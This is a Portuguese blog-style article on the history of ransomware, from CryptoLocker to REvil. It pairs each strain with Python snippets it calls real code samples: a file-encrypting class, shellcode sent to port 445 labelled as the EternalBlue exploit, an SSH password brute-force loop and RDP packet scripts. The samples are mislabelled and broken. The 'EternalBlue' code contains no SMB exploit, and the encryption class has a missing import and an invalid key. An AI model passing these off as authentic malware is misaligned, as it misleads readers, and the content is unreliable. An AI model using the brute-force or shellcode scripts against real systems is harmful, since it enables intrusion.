A impressionante evolução do código de ransomware
Acompanhar a história do Ransomware é como assistir a um filme de terror onde o vilão vai ficando cada vez mais esperto e sofisticado. Há algo fascinante e assustador na evolução do ransomware. Neste artigo, vou levá-lo a um mergulho profundo na linha do tempo histórica e mostrar o que torna esses programas maliciosos tão difíceis de parar.
O primeiro ransomware conhecido, conhecido como AIDS Trojan, apareceu em 1989. Desde então, o ransomware evoluiu significativamente, tornando-se um dos tipos de malware mais prevalentes e destrutivos. Este artigo seguirá a evolução do ransomware, desde os primeiros dias do CryptoLocker até o infame WannaCry e mais recentes ataques de ransomware Maze e REvil, enquanto explica como cada tipo de ransomware funciona com amostras de código reais.
2013: CryptoLocker
O CryptoLocker foi o primeiro ransomware a usar criptografia de chave pública para criptografar arquivos. Ele foi distribuído por meio de anexos de e-mail e explorou vulnerabilidades em Java e Adobe Reader para infectar sistemas. Depois de infectar um sistema, ele criptografava todos os arquivos do sistema e exigia pagamento em Bitcoin para fornecer a chave de descriptografia.
Exemplo de código:
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
O decrypt_file
método usa um nome de arquivo de entrada e um nome de arquivo de saída opcional e tamanho de bloco. Ele lê o arquivo de entrada, extrai o tamanho do arquivo original e o IV e descriptografa os dados criptografados usando a mesma chave de criptografia e IV. Ele grava os dados descriptografados no arquivo de saída e os trunca para o tamanho do arquivo original. Um exemplo de uso da classe é fornecido no final do código, onde um CryptoLocker
objeto é criado com uma chave secreta, um arquivo de entrada é criptografado e depois descriptografado.
2016: Locky
Locky foi distribuído por meio de campanhas de e-mail e usou uma combinação de criptografia RSA e AES para criptografar arquivos. Exigiu pagamento em Bitcoin para fornecer a chave de descriptografia. Estima-se que tenha infectado mais de 100.000 sistemas nas primeiras semanas de lançamento.
Exemplo de código:
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: WannaCry
Em 2017, o ransomware WannaCry se espalhou rapidamente pelo mundo, infectando centenas de milhares de computadores em mais de 150 países. WannaCry explorou uma vulnerabilidade no sistema operacional Windows chamada EternalBlue, supostamente desenvolvida pela NSA
A natureza generalizada do ataque e os sistemas críticos afetados enfatizaram a necessidade de as organizações priorizarem a segurança cibernética e manterem software e protocolos de segurança atualizados para evitar tais ataques.
Exemplo de código:
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
É importante lembrar que este código, como qualquer outro exemplo neste artigo, é apenas para fins educacionais e não deve ser usado para nenhuma atividade maliciosa.
2018: SamSam
SamSam foi um ransomware identificado pela primeira vez em 2018. Ao contrário de muitos outros ataques de ransomware que usam e-mails de phishing para obter acesso aos sistemas das vítimas, o SamSam usou força bruta para obter acesso a servidores não corrigidos. Uma vez lá dentro, o ransomware criptografou os arquivos e exigiu o pagamento em Bitcoin.
Exemplo de código:
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019: Ryuk
Acredita-se que Ryuk tenha se originado na Coreia do Norte e tenha sido usado para atingir alvos de alto valor, como hospitais e agências governamentais. Isso acabou sendo falso e foi originalmente usado por várias organizações criminosas diferentes. O Ryuk normalmente é entregue por meio de e-mails de phishing ou explorando vulnerabilidades em protocolos de área de trabalho remota.
Exemplo de código:
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019: Labirinto
O Maze criptografa os arquivos da vítima e exige pagamento em troca da chave de descriptografia. No entanto, o ransomware Maze também tem a reputação de roubar dados confidenciais das vítimas e ameaçar publicá-los se o resgate não for pago, tornando-o um tipo de ransomware de “ extorsão dupla ”.
O ransomware Maze é conhecido por explorar vulnerabilidades em protocolos de área de trabalho remota (RDPs) para obter acesso a sistemas, juntamente com e-mails típicos de phishing.
Exemplo de código:
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: REvil See More
Um dos ataques de ransomware mais notáveis nos últimos anos foi o ataque de ransomware REvil em julho de 2021. O ataque teve como alvo um provedor de software chamado Kaseya, que fornece software de gerenciamento remoto para outras empresas. Os invasores conseguiram obter acesso ao software da Kaseya e distribuir malware para centenas de seus clientes, resultando em um ataque de ransomware generalizado.
O REvil usa criptografia forte para criptografar os arquivos da vítima e exige o pagamento do resgate em troca da chave de descriptografia. Como a maioria dos grupos de ransomware desta época, o bitcoin é usado como método de pagamento.
Exemplo de código:
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
No exemplo de uso, uma chave é definida e uma instância da Ransomware
classe é criada usando essa chave. O encrypt_file
método é chamado em um arquivo chamado 'important_file.docx', que cria um arquivo criptografado chamado 'important_file.docx.enc'. Por fim, o decrypt_file
método é chamado no arquivo criptografado para descriptografá-lo de volta à sua forma original.
Espero que este artigo forneça uma perspectiva muito necessária de como o ransomware evoluiu e como ele é nossa maior ameaça devido à facilidade de implantação e monetização instantânea de atividades ilegais. No entanto, deve-se lembrar dos avanços nos últimos anos para expor e educar o público em geral sobre esses assuntos.